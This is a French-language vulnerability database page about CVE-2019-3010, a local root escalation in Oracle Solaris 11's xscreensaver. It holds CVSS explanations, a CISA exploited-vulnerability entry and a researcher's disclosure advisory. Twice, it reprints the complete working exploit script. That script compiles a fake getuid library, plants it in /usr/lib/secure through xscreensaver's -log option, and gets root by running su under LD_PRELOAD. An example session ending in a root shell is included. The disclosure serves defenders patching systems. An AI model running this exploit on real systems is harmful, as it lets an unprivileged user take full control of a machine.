CVE-2019-3010 : Détail

CVE-2019-3010

8.8
/
Haute
4.63%V3
Local
2019-10-16
15h40 +00:00
2024-09-30
17h06 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Vulnerability in the Oracle Solaris product of Oracle Systems (component: XScreenSaver). The supported version that is affected is 11. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris. While the vulnerability is in Oracle Solaris, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.0 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Oracle Solaris Privilege Escalation Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2022-05-24 22h00 +00:00

Action attendue : 2022-06-14 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 47529

Date de publication : 2019-10-20 22h00 +00:00
Auteur : Marco Ivaldi
EDB Vérifié : No

@Mediaservice.net Security Advisory #2019-02 (last updated on 2019-10-16) Title: Local privilege escalation on Solaris 11.x via xscreensaver Application: Jamie Zawinski's xscreensaver 5.39 distributed with Solaris 11.4 Jamie Zawinski's xscreensaver 5.15 distributed with Solaris 11.3 Other versions starting from 5.06 are potentially affected Platforms: Oracle Solaris 11.x (tested on 11.4 and 11.3) Other platforms are potentially affected (see below) Description: A local attacker can gain root privileges by exploiting a design error vulnerability in the xscreensaver distributed with Solaris Author: Marco Ivaldi <[email protected]> Vendor Status: <[email protected]> notified on 2019-07-09 CVE Name: CVE-2019-3010 CVSS Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (Base Score: 8.8) References: https://lab.mediaservice.net/advisory/2019-02-solaris-xscreensaver.txt https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html https://www.jwz.org/xscreensaver/ https://www.oracle.com/technetwork/server-storage/solaris11/ https://www.mediaservice.net/ https://0xdeadbeef.info/ 1. Abstract. Exploitation of a design error vulnerability in xscreensaver, as distributed with Solaris 11.x, allows local attackers to create (or append to) arbitrary files on the system, by abusing the -log command line switch introduced in version 5.06. This flaw can be leveraged to cause a denial of service condition or to escalate privileges to root. 2. Example Attack Session. raptor@stalker:~$ cat /etc/release Oracle Solaris 11.4 X86 Copyright (c) 1983, 2018, Oracle and/or its affiliates. All rights reserved. Assembled 16 August 2018 raptor@stalker:~$ uname -a SunOS stalker 5.11 11.4.0.15.0 i86pc i386 i86pc raptor@stalker:~$ id uid=100(raptor) gid=10(staff) raptor@stalker:~$ chmod +x raptor_xscreensaver raptor@stalker:~$ ./raptor_xscreensaver raptor_xscreensaver - Solaris 11.x LPE via xscreensaver Copyright (c) 2019 Marco Ivaldi <[email protected]> [...] Oracle Corporation SunOS 5.11 11.4 Aug 2018 root@stalker:~# id uid=0(root) gid=0(root) 3. Affected Platforms. This vulnerability was confirmed on the following platforms: * Oracle Solaris 11.x X86 [tested on 11.4 and 11.3, default installation] * Oracle Solaris 11.x SPARC [untested] Previous Oracle Solaris 11 versions might also be vulnerable. Based on our analysis and on feedback kindly provided by Alan Coopersmith of Oracle, we concluded that this is a Solaris-specific vulnerability, caused by the fact that Oracle maintains a slightly different codebase from the upstream one. Alan explained this as follows: "The problem in question here appears to be inherited from the long-ago fork [originally based on xscreensaver 4.05] Sun & Ximian did to add a gtk-based unlock dialog with accessibility support to replace the non-accessible Xlib unlock dialog that upstream provides, which moves the uid reset to after where the log file opening was later added." Specifically, the problem arises because of this bit of Solaris patches: https://github.com/oracle/solaris-userland/blob/18c7129a50c0d736cbac04dcfbfa1502eab71e33/components/desktop/xscreensaver/patches/0005-gtk-lock.patch#L3749-L3770 As an interesting side note, it appears Red Hat dropped this code back in 2002 with version 4.05-5: https://src.fedoraproject.org/rpms/xscreensaver/blob/9a0bab5a19b03db9671fc5a20714755445f19e21/f/xscreensaver.spec#L2178-2179 4. Fix. Oracle has assigned the tracking# S1182608 and has released a fix for all affected and supported versions of Solaris in their Critical Patch Update (CPU) of October 2019. As a temporary workaround, it is also possible to remove the setuid bit from the xscreensaver executable as follows (note that this might prevent it from working properly): bash-3.2# chmod -s /usr/bin/xscreensaver 5. Proof of Concept. An exploit for Oracle Solaris 11.x has been developed as a proof of concept. It can be downloaded from: https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver #!/bin/sh # # raptor_xscreensaver - Solaris 11.x LPE via xscreensaver # Copyright (c) 2019 Marco Ivaldi <[email protected]> # # Exploitation of a design error vulnerability in xscreensaver, as # distributed with Solaris 11.x, allows local attackers to create # (or append to) arbitrary files on the system, by abusing the -log # command line switch introduced in version 5.06. This flaw can be # leveraged to cause a denial of service condition or to escalate # privileges to root. This is a Solaris-specific vulnerability, # caused by the fact that Oracle maintains a slightly different # codebase from the upstream one (CVE-2019-3010). # # "I'd rather be lucky than good any day." -- J. R. "Bob" Dobbs # "Good hackers force luck." -- ~A. # # This exploit targets the /usr/lib/secure/ directory in order # to escalate privileges with the LD_PRELOAD technique. The # implementation of other exploitation vectors, including those # that do not require gcc to be present on the target system, is # left as an exercise to fellow UNIX hackers;) # # Usage: # raptor@stalker:~$ chmod +x raptor_xscreensaver # raptor@stalker:~$ ./raptor_xscreensaver # [...] # Oracle Corporation SunOS 5.11 11.4 Aug 2018 # root@stalker:~# id # uid=0(root) gid=0(root) # root@stalker:~# rm /usr/lib/secure/64/getuid.so /tmp/getuid.* # # Vulnerable platforms: # Oracle Solaris 11 X86 [tested on 11.4 and 11.3] # Oracle Solaris 11 SPARC [untested] # echo "raptor_xscreensaver - Solaris 11.x LPE via xscreensaver" echo "Copyright (c) 2019 Marco Ivaldi <[email protected]>" echo # prepare the payload echo "int getuid(){return 0;}" > /tmp/getuid.c gcc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc if [ $? -ne 0 ]; then echo "error: problem compiling the shared library, check your gcc" exit 1 fi # check the architecture LOG=/usr/lib/secure/getuid.so file /bin/su | grep 64-bit >/dev/null 2>&1 if [ $? -eq 0 ]; then LOG=/usr/lib/secure/64/getuid.so fi # start our own xserver # alternatively we can connect back to a valid xserver (e.g. xquartz) /usr/bin/Xorg :1 & # trigger the bug umask 0 /usr/bin/xscreensaver -display :1 -log $LOG & sleep 5 # clean up pkill -n xscreensaver pkill -n Xorg # LD_PRELOAD-fu cp /tmp/getuid.so $LOG LD_PRELOAD=$LOG su -
Exploit Database EDB-ID : 47509

Date de publication : 2019-10-15 22h00 +00:00
Auteur : Marco Ivaldi
EDB Vérifié : No

# Exploit Title: Solaris xscreensaver 11.4 - Privilege Escalation # Date: 2019-10-16 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.oracle.com/technetwork/server-storage/solaris11/ # Version: Solaris 11.x # Tested on: Solaris 11.4 and 11.3 X86 # CVE: N/A #!/bin/sh # # raptor_xscreensaver - Solaris 11.x LPE via xscreensaver # Copyright (c) 2019 Marco Ivaldi <[email protected]> # # Exploitation of a design error vulnerability in xscreensaver, as # distributed with Solaris 11.x, allows local attackers to create # (or append to) arbitrary files on the system, by abusing the -log # command line switch introduced in version 5.06. This flaw can be # leveraged to cause a denial of service condition or to escalate # privileges to root. This is a Solaris-specific vulnerability, # caused by the fact that Oracle maintains a slightly different # codebase from the upstream one (CVE-2019-3010). # # "I'd rather be lucky than good any day." -- J. R. "Bob" Dobbs # "Good hackers force luck." -- ~A. # # This exploit targets the /usr/lib/secure/ directory in order # to escalate privileges with the LD_PRELOAD technique. The # implementation of other exploitation vectors, including those # that do not require gcc to be present on the target system, is # left as an exercise to fellow UNIX hackers;) # # Usage: # raptor@stalker:~$ chmod +x raptor_xscreensaver # raptor@stalker:~$ ./raptor_xscreensaver # [...] # Oracle Corporation SunOS 5.11 11.4 Aug 2018 # root@stalker:~# id # uid=0(root) gid=0(root) # root@stalker:~# rm /usr/lib/secure/64/getuid.so /tmp/getuid.* # # Vulnerable platforms: # Oracle Solaris 11 X86 [tested on 11.4 and 11.3] # Oracle Solaris 11 SPARC [untested] # echo "raptor_xscreensaver - Solaris 11.x LPE via xscreensaver" echo "Copyright (c) 2019 Marco Ivaldi <[email protected]>" echo # prepare the payload echo "int getuid(){return 0;}" > /tmp/getuid.c gcc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc if [ $? -ne 0 ]; then echo "error: problem compiling the shared library, check your gcc" exit 1 fi # check the architecture LOG=/usr/lib/secure/getuid.so file /bin/su | grep 64-bit >/dev/null 2>&1 if [ $? -eq 0 ]; then LOG=/usr/lib/secure/64/getuid.so fi # start our own xserver # alternatively we can connect back to a valid xserver (e.g. xquartz) /usr/bin/Xorg :1 & # trigger the bug umask 0 /usr/bin/xscreensaver -display :1 -log $LOG & sleep 5 # clean up pkill -n xscreensaver pkill -n Xorg # LD_PRELOAD-fu cp /tmp/getuid.so $LOG LD_PRELOAD=$LOG su -

Products Mentioned

Configuraton 0

Oracle>>Solaris >> Version 11

Références

http://seclists.org/fulldisclosure/2019/Oct/39
Tags : mailing-list, x_refsource_FULLDISC